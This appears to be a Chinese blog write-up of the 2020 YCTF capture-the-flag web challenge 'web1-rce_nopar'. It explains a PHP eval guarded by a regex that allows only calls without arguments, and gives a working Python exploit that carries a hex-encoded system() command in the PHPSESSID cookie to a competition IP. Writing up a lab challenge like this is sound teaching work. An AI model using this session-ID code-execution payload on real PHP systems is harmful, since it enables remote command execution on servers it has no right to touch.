[2020YCTF]web1-rce_nopar

[YCTF]web1-rce_nopar

前言:

比赛题目环境版本是:PHP/5.5.9-1ubuntu4.14

如果要进行本地测试,请尽量使用附近的版本,我测试过5.6版本基本都可以用。

如果自己本地搭建,payload没有成功,请检查PHP的版本。

经过本地测试,payload在PHP7.2的版本,payload会不起作用,也得不到flag。

原因是更新的版本函数执行底层代码改变了。

考察:无参RCE、session的使用、正则表达式

进入页面,显示如下php代码。

<?php
if(isset($_GET['var'])){
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {
        if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
               eval($_GET['var']);
        } else {
            die("Sorry!");
        }
}
else{
    show_source(__FILE__);
}
?>

关键代码如下:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {
    if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
        eval($_GET['var']);
    }
}

先分析外层if句的正则表达式:

[^\W]+\((?R)?\)

首先分析[^\W]:

​ 其中"[]"表示匹配的开始结束,"^"表示取反。

\W,(注意这个W是大写的),匹配非字母、数字、下划线。等价于 [^A-Za-z0-9_]

​ 所以[^\W]是对上面的\w取反: 匹配所有字母数字下划线的字母。

不太熟悉正则的注意正则中的 “+”,是为了拼接整个表达式的,并不是需要我们匹配 "+",

然后是\((?R)?\):

​ 其中两侧的\( 和\)表示匹配括号。

(?R),(?R)表示递归表达式本身,

(?R)?,最后的"?"表示匹配1个或者0个表达式本身,最后的 “?” 必不可少的。

综上,我们大概就清晰了。

整个正则是要把对应形式的内容提取出来,然后通过preg_replace函数,用空字符串进行代替,得到一个字符串。

得到的这个字符串必须是完全等于“;”的。

我们的payload大致为如下形式,可以带字母,数字,下划线。

一定明白好这个正则,使用函数必须无参。

a(b_c());

接下来分析内层的if判断句

其实内层的正则就比较好过了,最重要的还是外层的正则。

/et|dir|na|info|dec|oct|pi|log/i

两侧的 ” / “ 是整个表达式的开头和结尾,结尾的i表示不区分大小写。

用|分隔多种匹配情况。

即:et、dir、na、info、dec、oct、pi、log都是非法的字符。

综上,第二个正则:

我们输入的参数,不可以带 et、dir、na、info、dec、oct、pi、log中的任何一个,即便大小写混合也不行。

进入我们构造payload的阶段

先给出exp吧,这样还比较好解释。

脚本是python2的 , python3的encode()函数使用会不一样

import requests

url = 'http://124.193.74.211:32373/?var=eval(hex2bin(session_id(session_start())));'

payload ="system('cat /flag.txt');".encode('hex')
#73797374656d2827636174202f666c61672e74787427293b
cookies = {

'PHPSESSID':payload

}
r = requests.get(url=url,cookies=cookies)

print (r.content)

经过分析,我们有了思路

第一我们清晰了参数大致形式: a( b_c() ) ;

第二明确了传入的var必须是无参的,但使用eval的执行没有参数又是不太现实的。

第三我们需要特殊手段,注入需要执行命令的参数,比如~: cookies。

惊喜:cookies有个PHPSESSID,在调用PHP的session_start();后函数会自动生成。

当然,在合法的规则下,我们可以更改这个PHPSESSID的值。

总结出利用手段:利用session构造无参数RCE

解释函数:

仔细理解session_id函数的使用注意,这也是为什么我们要把命令执行语句,转为16进制字符串的原因。

函数 功能: 使用注意:
session_start(); 创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。
session_id(); 可以用来获取/设置 当前会话 ID。 不同会话管理器对id中可以使用的字符有不同的限制。例有的管理器允许使用字符:*a-z A-Z 0-9 ,(逗号) - (减号)。
hex2bin() ; 把十六进制值的字符串转换为 ASCII 字符串。
eval(); 把字符串按 PHP 代码执行。

函数执行过程:

传入我们的var变量和PHPSESSID后:

eval($_GET['var']);会触发

详细执行情况如下:

根据脚本此处 shell <==> system('cat /flag.txt');

eval("eval(hex2bin(session_id(session_start())));");

最后我们就得到了flag.txt文件的内容值。

image-20200329011744791

posted @ 2020-03-29 01:21  何止(h3zh1)  阅读(1636)  评论(0编辑  收藏  举报